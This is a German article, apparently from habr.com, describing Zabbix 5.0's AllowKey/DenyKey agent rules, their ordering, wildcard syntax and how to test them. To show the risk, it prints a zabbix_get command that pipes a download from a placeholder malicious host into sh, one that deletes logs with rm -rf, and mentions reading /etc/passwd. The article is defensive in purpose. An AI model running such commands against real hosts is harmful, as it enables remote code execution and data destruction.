Blacklist- und Whitelist-Unterstützung für agentenseitige Metriken in Zabbix 5.0

Blacklist- und Whitelist-Unterstützung für agentenseitige Metriken in Zabbix 5.0

Blacklist- und Whitelist-Unterstützung für agentenseitige Metriken

Tichon Uskow, Integrationsingenieur, Zabbix

Probleme mit der Datensicherheit

Zabbix 5.0 verfügt über eine neue Funktion, die es Ihnen ermöglicht, die Sicherheit in Systemen mit Zabbix Agent zu verbessern und den alten Parameter zu ersetzen EnableRemoteCommands.

Verbesserungen in der Sicherheit agentenbasierter Systeme ergeben sich aus der Tatsache, dass ein Agent eine große Anzahl potenziell gefährlicher Aktionen ausführen kann.

  • Der Agent kann nahezu alle Informationen, einschließlich vertraulicher oder potenziell gefährlicher Informationen, aus Konfigurationsdateien, Protokolldateien, Kennwortdateien und anderen Dateien sammeln.

Mit dem Dienstprogramm zabbix_get können Sie beispielsweise auf eine Liste von Benutzern, deren Home-Verzeichnisse, Passwortdateien usw. zugreifen.

Blacklist- und Whitelist-Unterstützung für agentenseitige Metriken in Zabbix 5.0

Zugriff auf Daten mit dem Dienstprogramm zabbix_get

HINWEIS. Daten können nur abgerufen werden, wenn der Agent über Leseberechtigungen für die entsprechende Datei verfügt. Aber zum Beispiel die Datei /etc/passwd/ für alle Benutzer lesbar.

  • Der Agent kann auch potenziell gefährliche Befehle ausführen. Beispiel: Schlüssel *system.run[]** ermöglicht Ihnen die Ausführung beliebiger Remote-Befehle auf Netzwerkknoten, einschließlich der Ausführung von Skripten über die Zabbix-Weboberfläche, die auch Befehle auf der Agentenseite ausführen.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Unter Linux läuft der Agent standardmäßig ohne Root-Rechte, während er unter Windows als Dienst als System läuft und uneingeschränkten Zugriff auf das Dateisystem hat. Wenn nach der Installation keine Änderungen an den Parametern des Zabbix-Agenten vorgenommen werden, hat der Agent Zugriff auf die Registrierung und das Dateisystem und kann WMI-Abfragen ausführen.

In früheren Versionen der Parameter EnableRemoteCommands=0 Es ist nur erlaubt, Metriken mit dem Schlüssel * zu deaktivieren.system.run[]** und das Ausführen von Skripten über die Weboberfläche, es gab jedoch keine Möglichkeit, den Zugriff auf einzelne Dateien einzuschränken, einzelne mit dem Agent installierte Schlüssel zuzulassen oder zu deaktivieren oder die Verwendung einzelner Parameter einzuschränken.

Blacklist- und Whitelist-Unterstützung für agentenseitige Metriken in Zabbix 5.0

Verwendung des EnableRemoteCommand-Parameters in früheren Versionen von Zabbix

AllowKey/DenyKey

Zabbix 5.0 trägt zum Schutz vor solchen unbefugten Zugriffen bei, indem es Whitelists und Blacklists zum Zulassen und Ablehnen von Metriken auf Agentenseite bereitstellt.

In Zabbix 5.0 alle Schlüssel, einschließlich *system.run[]** sind aktiviert und zwei neue Agent-Konfigurationsoptionen wurden hinzugefügt:

AllowKey= — erlaubte Schecks;

DenyKey= — verbotene Kontrollen;

Dabei handelt es sich um ein Schlüsselnamenmuster mit Parametern, das Metazeichen (*) verwendet.

Mit den Schlüsseln AllowKey und DenyKey können Sie einzelne Metriken basierend auf einem bestimmten Muster zulassen oder verweigern. Im Gegensatz zu anderen Konfigurationsparametern ist die Anzahl der AllowKey/DenyKey-Parameter nicht begrenzt. Dadurch können Sie klar definieren, was genau der Agent im System tun kann, indem Sie einen Baum von Prüfungen erstellen – ausführbare Schlüssel, wobei die Reihenfolge, in der sie geschrieben werden, eine sehr wichtige Rolle spielt.

Reihenfolge der Regeln

Die Regeln werden in der Reihenfolge überprüft, in der sie in die Konfigurationsdatei eingegeben wurden. Der Schlüssel wird vor der ersten Übereinstimmung gemäß den Regeln überprüft und sobald der Schlüssel des Datenelements mit dem Muster übereinstimmt, wird er zugelassen oder abgelehnt. Danach wird die Regelprüfung beendet und die verbleibenden Schlüssel werden ignoriert.

Wenn also ein Element sowohl einer Zulassungs- als auch einer Verweigerungsregel entspricht, hängt das Ergebnis davon ab, welche Regel in der Konfigurationsdatei an erster Stelle steht.

Blacklist- und Whitelist-Unterstützung für agentenseitige Metriken in Zabbix 5.0

2 verschiedene Regeln mit demselben Muster und einem Schlüssel vfs.file.size[/tmp/file]

Die Reihenfolge der Verwendung der AllowKey/DenyKey-Schlüssel:

  1. genaue Regeln,
  2. Allgemeine Regeln,
  3. Verbotsregel.

Wenn Sie beispielsweise Zugriff auf Dateien in einem bestimmten Ordner benötigen, müssen Sie zunächst den Zugriff darauf zulassen und dann alles andere verweigern, was nicht unter die festgelegten Berechtigungen fällt. Wenn zuerst die Verweigerungsregel verwendet wird, wird der Zugriff auf den Ordner verweigert.

Blacklist- und Whitelist-Unterstützung für agentenseitige Metriken in Zabbix 5.0

Richtige Reihenfolge

Wenn Sie die Ausführung von 2 Dienstprogrammen über * zulassen müssensystem.run[]** und die Verweigerungsregel wird zuerst angegeben, die Dienstprogramme werden nicht gestartet, da das erste Muster immer mit jedem Schlüssel übereinstimmt und nachfolgende Regeln ignoriert werden.

Blacklist- und Whitelist-Unterstützung für agentenseitige Metriken in Zabbix 5.0

Falsche Reihenfolge

Muster

Grundregeln

Muster ist ein Ausdruck mit Platzhaltern. Das Metazeichen (*) entspricht einer beliebigen Anzahl beliebiger Zeichen an einer bestimmten Position. Metazeichen können sowohl im Schlüsselnamen als auch in Parametern verwendet werden. Sie können beispielsweise den ersten Parameter streng mit Text definieren. und geben Sie den folgenden als Platzhalter an.

Parameter müssen in eckige Klammern [] eingeschlossen werden.

  • system.run[* - falsch
  • vfs.file*.txt] - falsch
  • vfs.file.*[*] - Rechts

Beispiele für die Verwendung von Platzhaltern.

  1. Im Schlüsselnamen und im Parameter. In diesem Fall entspricht der Schlüssel keinem ähnlichen Schlüssel, der keinen Parameter enthält, da wir im Muster angegeben haben, dass wir eine bestimmte Endung des Schlüsselnamens und einen bestimmten Parametersatz erhalten möchten.
  2. Wenn das Muster keine eckigen Klammern verwendet, lässt das Muster alle Schlüssel zu, die keine Parameter enthalten, und verweigert alle Schlüssel, die den angegebenen Parameter enthalten.
  3. Wenn der Schlüssel vollständig geschrieben ist und die Parameter als Platzhalter angegeben sind, wird er mit jedem ähnlichen Schlüssel mit beliebigen Parametern abgeglichen und nicht mit dem Schlüssel ohne eckige Klammern, d. h. er wird zugelassen oder verweigert.

Blacklist- und Whitelist-Unterstützung für agentenseitige Metriken in Zabbix 5.0

Regeln zum Ausfüllen von Parametern.

  • Soll ein Schlüssel mit Parametern verwendet werden, müssen die Parameter in der Konfigurationsdatei angegeben werden. Parameter müssen als Metazeichen angegeben werden. Es ist notwendig, den Zugriff auf jede Datei sorgfältig zu verweigern und zu berücksichtigen, welche Informationen die Metrik in verschiedenen Schreibweisen – mit und ohne Parameter – liefern kann.

Blacklist- und Whitelist-Unterstützung für agentenseitige Metriken in Zabbix 5.0

Funktionen zum Schreiben von Schlüsseln mit Parametern

  • Wenn ein Schlüssel mit Parametern angegeben wird, die Parameter jedoch optional sind und als Metazeichen angegeben werden, wird ein Schlüssel ohne Parameter aufgelöst. Wenn Sie beispielsweise den Empfang von Informationen über die Auslastung der CPU deaktivieren und angeben möchten, dass der Schlüssel system.cpu.load[*] deaktiviert werden soll, vergessen Sie nicht, dass der Schlüssel ohne Parameter den durchschnittlichen Auslastungswert zurückgibt.

Blacklist- und Whitelist-Unterstützung für agentenseitige Metriken in Zabbix 5.0

Regeln zum Ausfüllen von Parametern

Aufzeichnungen

Einstellung

  • Einige Regeln können vom Benutzer nicht geändert werden, beispielsweise Erkennungsregeln oder Regeln für die automatische Agentenregistrierung. AllowKey/DenyKey-Regeln haben keinen Einfluss auf die folgenden Parameter:
    - HostnameItem
    - HostMetadataItem
    - HostInterfaceItem

HINWEIS. Wenn ein Administrator einen Schlüssel deaktiviert, stellt Zabbix bei einer Abfrage keine Informationen darüber bereit, warum die Metrik oder der Schlüssel in die Kategorie „fällt“.NICHT UNTERSTÜTZT'. Auch Informationen zu Verboten der Ausführung von Remote-Befehlen werden in den Agent-Logdateien nicht angezeigt. Dies geschieht aus Sicherheitsgründen, kann jedoch das Debuggen erschweren, wenn Metriken aus irgendeinem Grund in eine nicht unterstützte Kategorie fallen.

  • Sie sollten sich beim Verbinden externer Konfigurationsdateien nicht auf eine bestimmte Reihenfolge verlassen (z. B. in alphabetischer Reihenfolge).

Befehlszeilenprogramme

Nachdem Sie die Regeln eingerichtet haben, müssen Sie sicherstellen, dass alles richtig konfiguriert ist.

Sie können eine von drei Optionen verwenden:

  • Fügen Sie Zabbix eine Metrik hinzu.
  • Testen Sie mit zabbix_agentd. Zabbix-Agent mit Option -print (-p) Zeigt alle Schlüssel an (die standardmäßig zulässig sind), mit Ausnahme derjenigen, die in der Konfiguration nicht zulässig sind. Und mit der Option -test (-t) denn ein verbotener Schlüssel wird zurückkehren 'Nicht unterstützter Artikelschlüssel'.
  • Testen Sie mit zabbix_get. Dienstprogramm zabbix_get mit Option -k wird zurückkehren 'ZBX_NOTSUPPORTED: Unbekannte Metrik'.

Zulassen oder ablehnen

Sie können den Zugriff auf eine Datei verweigern und beispielsweise mit dem Dienstprogramm überprüfen zabbix_getdass der Zugriff auf die Datei verweigert wird.

Blacklist- und Whitelist-Unterstützung für agentenseitige Metriken in Zabbix 5.0

**

HINWEIS. Anführungszeichen im Parameter werden ignoriert.

In diesem Fall kann der Zugriff auf eine solche Datei über einen anderen Pfad gestattet werden. Zum Beispiel, wenn ein Symlink dorthin führt.

Blacklist- und Whitelist-Unterstützung für agentenseitige Metriken in Zabbix 5.0

Es wird empfohlen, verschiedene Möglichkeiten zur Anwendung der festgelegten Regeln zu prüfen und auch die Möglichkeiten zur Umgehung der Verbote zu berücksichtigen.

Fragen und Antworten

Frage. Warum wurde ein so komplexes Muster mit einer eigenen Sprache zur Beschreibung von Regeln, Erlaubnissen und Verboten gewählt? Warum konnten beispielsweise die regulären Ausdrücke, die Zabbix verwendet, nicht verwendet werden?

Antwort. Dies ist ein Problem mit der Regex-Leistung, da es normalerweise nur einen Agenten gibt und dieser eine große Anzahl von Metriken prüft. Regex ist ein ziemlich aufwändiger Vorgang und wir können auf diese Weise nicht Tausende von Metriken überprüfen. Wildcards – eine universelle, weit verbreitete und einfache Lösung.

Frage. Sind die Include-Dateien nicht in alphabetischer Reihenfolge enthalten?

Antwort. Soweit ich weiß, ist es praktisch unmöglich, die Reihenfolge vorherzusagen, in der Regeln angewendet werden, wenn Sie die Regeln auf verschiedene Dateien verteilen. Ich empfehle, alle AllowKey/DenyKey-Regeln in einer Include-Datei zu sammeln, da sie miteinander interagieren, und diese Datei einzubinden.

Frage. In Zabbix 5.0 ist die Option 'EnableRemoteCommands=' fehlt in der Konfigurationsdatei und nur AllowKey/DenyKey sind verfügbar?

Antwort. Ja, das ist richtig.

Danke!

Source: habr.com

Kommentar hinzufügen